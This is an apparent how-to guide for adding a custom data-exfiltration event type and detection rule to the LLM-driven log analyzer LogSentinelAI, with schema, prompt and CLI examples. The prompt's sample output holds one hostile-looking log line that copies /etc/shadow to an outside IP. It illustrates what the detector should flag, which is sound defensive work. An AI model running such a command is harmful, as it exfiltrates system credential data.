How to Implement Custom Event Types and Detection Rules in LogSentinelAI

Extend the EventType enum and SecurityEvent Pydantic model in your analyzer module, add detection logic to the prompt template in core/prompts.py, and run the existing CLI—the LLM will automatically emit your custom events without touching the core processing engine.

LogSentinelAI is an LLM-driven log analysis framework that transforms raw log chunks into structured JSON security events. To detect domain-specific threats, you can implement custom event types and detection rules as pure-Python extensions of the schema and prompt components. This guide demonstrates the exact file paths and code patterns used in the call518/logsentinelai repository to extend the system without modifying the core orchestration logic.

Understanding the Extension Architecture

Custom event types and detection rules are implemented through three coordinated components:

Component	Role	Extensible Point
Enum + Pydantic Model	Defines the shape and taxonomy of an event	Add new members to EventType or fields to SecurityEvent
Prompt Templates	Encodes detection rules that the LLM follows	Insert new rule clauses or JSON examples into PROMPT_TEMPLATE_GENERAL_LOG
Analysis Driver	Wires prompt, schema, and log source together	No changes needed; run_generic_*_analysis in core/commons.py auto-detects schema updates

Step 1 – Extend the Event Schema

Add a New Enum Value

Locate the EventType enum in your analyzer file and append the custom type. For Linux system logs, edit src/logsentinelai/analyzers/linux_system.py:

class EventType(str, Enum):
    AUTH_FAILURE = "AUTH_FAILURE"
    AUTH_SUCCESS = "AUTH_SUCCESS"
    SESSION_EVENT = "SESSION_EVENT"
    NETWORK_CONNECTION = "NETWORK_CONNECTION"
    SUDO_USAGE = "SUDO_USAGE"
    CRON_JOB = "CRON_JOB"
    SYSTEM_EVENT = "SYSTEM_EVENT"
    USER_MANAGEMENT = "USER_MANAGEMENT"
    ANOMALY = "ANOMALY"
    UNKNOWN = "UNKNOWN"
    # Custom extension

    DATA_EXFILTRATION = "DATA_EXFILTRATION"

(Optional) Add a Dedicated Field to SecurityEvent

If the new event type requires additional context, extend the SecurityEvent Pydantic model in the same file:

class SecurityEvent(BaseModel):
    event_type: EventType
    severity: SeverityLevel
    timestamp: Optional[str] = None
    source_ip: Optional[str] = None
    user: Optional[str] = None
    description: str
    raw_log: str
    confidence_score: float = Field(..., ge=0.0, le=1.0)
    attack_type: Optional[AttackType] = None
    related_events: Optional[List[str]] = None
    # Custom extension

    exfiltrated_files: Optional[list[str]] = Field(
        default=None,
        description="List of file paths that were exfiltrated (if any)"
    )

The analysis driver in src/logsentinelai/core/commons.py extracts the schema at runtime via analysis_schema_class.schema(), so the LLM automatically receives the updated JSON schema.

Step 2 – Encode Detection Rules in the Prompt

Detection rules are encoded as natural language instructions in the prompt templates. Edit src/logsentinelai/core/prompts.py and insert rule clauses into the appropriate template:

PROMPT_TEMPLATE_GENERAL_LOG = """
Analyze the following log entries and identify security events.

Log entries:
{log_chunk}

JSON schema for the output:
{model_schema}

Detection Rules:
1. Authentication failures: Look for failed login attempts, invalid users, or permission denied errors.
2. Suspicious network activity: Identify unusual connection patterns, port scans, or connections to known malicious IPs.
3. Privilege escalation: Detect sudo usage, su commands, or permission changes.
4. System anomalies: Look for unexpected service restarts, kernel errors, or resource exhaustion.
5. User management: Track user additions, deletions, or modifications.

# Custom rule

6. Data Exfiltration:
   - Detect large outbound transfers, unusual file path reads followed by network connections
   - If observed, create event with event_type="DATA_EXFILTRATION", severity="CRITICAL"
   - Populate exfiltrated_files field with affected file paths

Requirements:
- Output MUST be valid JSON matching the provided schema
- Include confidence scores (0.0-1.0) for each event
- Set severity based on impact: LOW, MEDIUM, HIGH, CRITICAL
- Include raw_log snippet for context
- If no events found, return empty events array
"""

Step 3 – Run and Verify the Analyzer

No changes are required in the analysis driver. The existing CLI entry points automatically load the updated schema and prompt.

Execute the analyzer for Linux system logs:

python -m logsentinelai.analyzers.linux_system \
    --log-path /var/log/syslog \
    --mode batch

The driver function run_generic_linux_system_analysis in src/logsentinelai/core/commons.py handles the orchestration: chunking logs, rendering the prompt with the updated schema, invoking the LLM, and post-processing results.

Verify in Elasticsearch

Events are forwarded to Elasticsearch via src/logsentinelai/core/elasticsearch.py. Query for your custom event type:

curl -X GET "localhost:9200/logsentinelai_linux_system/_search?q=event_type:DATA_EXFILTRATION"

Complete Working Example: Adding Data Exfiltration Detection

Here is the full implementation pattern for adding a DATA_EXFILTRATION event type:

# File: src/logsentinelai/analyzers/linux_system.py

from enum import Enum
from typing import Optional, List
from pydantic import BaseModel, Field

class EventType(str, Enum):
    AUTH_FAILURE = "AUTH_FAILURE"
    AUTH_SUCCESS = "AUTH_SUCCESS"
    SESSION_EVENT = "SESSION_EVENT"
    NETWORK_CONNECTION = "NETWORK_CONNECTION"
    SUDO_USAGE = "SUDO_USAGE"
    CRON_JOB = "CRON_JOB"
    SYSTEM_EVENT = "SYSTEM_EVENT"
    USER_MANAGEMENT = "USER_MANAGEMENT"
    ANOMALY = "ANOMALY"
    UNKNOWN = "UNKNOWN"
    DATA_EXFILTRATION = "DATA_EXFILTRATION"

class SeverityLevel(str, Enum):
    LOW = "LOW"
    MEDIUM = "MEDIUM"
    HIGH = "HIGH"
    CRITICAL = "CRITICAL"

class AttackType(str, Enum):
    BRUTE_FORCE = "BRUTE_FORCE"
    PRIVILEGE_ESCALATION = "PRIVILEGE_ESCALATION"
    MALWARE = "MALWARE"
    SUSPICIOUS_ACTIVITY = "SUSPICIOUS_ACTIVITY"
    DATA_EXFILTRATION = "DATA_EXFILTRATION"
    UNKNOWN = "UNKNOWN"

class SecurityEvent(BaseModel):
    event_type: EventType
    severity: SeverityLevel
    timestamp: Optional[str] = None
    source_ip: Optional[str] = None
    user: Optional[str] = None
    description: str
    raw_log: str
    confidence_score: float = Field(..., ge=0.0, le=1.0)
    attack_type: Optional[AttackType] = None
    related_events: Optional[List[str]] = None
    exfiltrated_files: Optional[List[str]] = Field(
        default=None,
        description="List of file paths that were exfiltrated"
    )

# File: src/logsentinelai/core/prompts.py

PROMPT_TEMPLATE_GENERAL_LOG = """
Analyze the following log entries and identify security events.

Log entries:
{log_chunk}

JSON schema for the output:
{model_schema}

Detection Rules:
1. Authentication failures: Look for failed login attempts, invalid users, or permission denied errors.
2. Suspicious network activity: Identify unusual connection patterns, port scans, or connections to known malicious IPs.
3. Privilege escalation: Detect sudo usage, su commands, or permission changes.
4. System anomalies: Look for unexpected service restarts, kernel errors, or resource exhaustion.
5. User management: Track user additions, deletions, or modifications.
6. Data Exfiltration:
   - Detect large outbound file transfers, reads of sensitive files followed by network connections
   - When found, emit event_type="DATA_EXFILTRATION", severity="CRITICAL"
   - Populate exfiltrated_files with the list of affected file paths

Requirements:
- Output MUST be valid JSON matching the provided schema
- Include confidence scores (0.0-1.0) for each event
- Set severity based on impact: LOW, MEDIUM, HIGH, CRITICAL
- Include raw_log snippet for context
- If no events found, return empty events array

Example output:
{
  "event_type": "DATA_EXFILTRATION",
  "severity": "CRITICAL",
  "timestamp": "2024-01-15T14:23:01Z",
  "source_ip": "203.0.113.5",
  "user": "root",
  "description": "Large transfer of /etc/shadow to external IP",
  "raw_log": "scp /etc/shadow root@203.0.113.5:/tmp/stolen",
  "confidence_score": 0.98,
  "attack_type": "DATA_EXFILTRATION",
  "exfiltrated_files": ["/etc/shadow"]
}
"""

Key Files to Remember

File	Purpose	Direct Link
src/logsentinelai/analyzers/linux_system.py	Defines EventType, SecurityEvent, and CLI driver for Linux logs	https://github.com/call518/logsentinelai/blob/main/src/logsentinelai/analyzers/linux_system.py
src/logsentinelai/analyzers/httpd_access.py	Similar schema for web-access logs	https://github.com/call518/logsentinelai/blob/main/src/logsentinelai/analyzers/httpd_access.py
src/logsentinelai/core/prompts.py	Prompt templates where detection rules live	https://github.com/call518/logsentinelai/blob/main/src/logsentinelai/core/prompts.py
src/logsentinelai/core/commons.py	Generic analysis orchestration and schema extraction	https://github.com/call518/logsentinelai/blob/main/src/logsentinelai/core/commons.py
src/logsentinelai/core/elasticsearch.py	Event forwarding to Elasticsearch	https://github.com/call518/logsentinelai/blob/main/src/logsentinelai/core/elasticsearch.py

Summary

• Extend the schema by adding enum members to EventType and optional fields to SecurityEvent in your analyzer file (e.g., src/logsentinelai/analyzers/linux_system.py).
• Encode detection rules as natural language instructions in the prompt templates located in src/logsentinelai/core/prompts.py.
• Leverage automatic schema injection—the run_generic_*_analysis functions in src/logsentinelai/core/commons.py extract the Pydantic schema at runtime, so the LLM immediately sees your changes.
• Validate results by querying Elasticsearch for your new event_type or checking the console output after running the existing CLI commands.

Frequently Asked Questions

Do I need to modify the core analysis engine to add custom event types?

No. The run_generic_*_analysis functions in src/logsentinelai/core/commons.py dynamically extract the JSON schema from your Pydantic model at runtime. Simply updating EventType and SecurityEvent in your analyzer file and modifying the prompt template is sufficient.

Can I add custom fields beyond the standard SecurityEvent structure?

Yes. Add any Pydantic Field to the SecurityEvent class in your analyzer file (e.g., exfiltrated_files for data exfiltration tracking). The schema generator automatically includes these fields in the LLM prompt, and Elasticsearch will index them without additional mapping changes.

How do I test my custom detection rules without running the full pipeline?

You can test prompt changes by isolating the template rendering logic. Import PROMPT_TEMPLATE_GENERAL_LOG from src/logsentinelai/core/prompts.py, format it with a sample log chunk and your updated schema, and send it directly to your LLM endpoint. This validates rule clarity before running batch analysis.

Where are the custom events stored after detection?

Custom events are sent to Elasticsearch via src/logsentinelai/core/elasticsearch.py. The index name follows the pattern logsentinelai_{analyzer_name} (e.g., logsentinelai_linux_system). You can query your custom event_type directly using standard Elasticsearch query DSL or Kibana.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}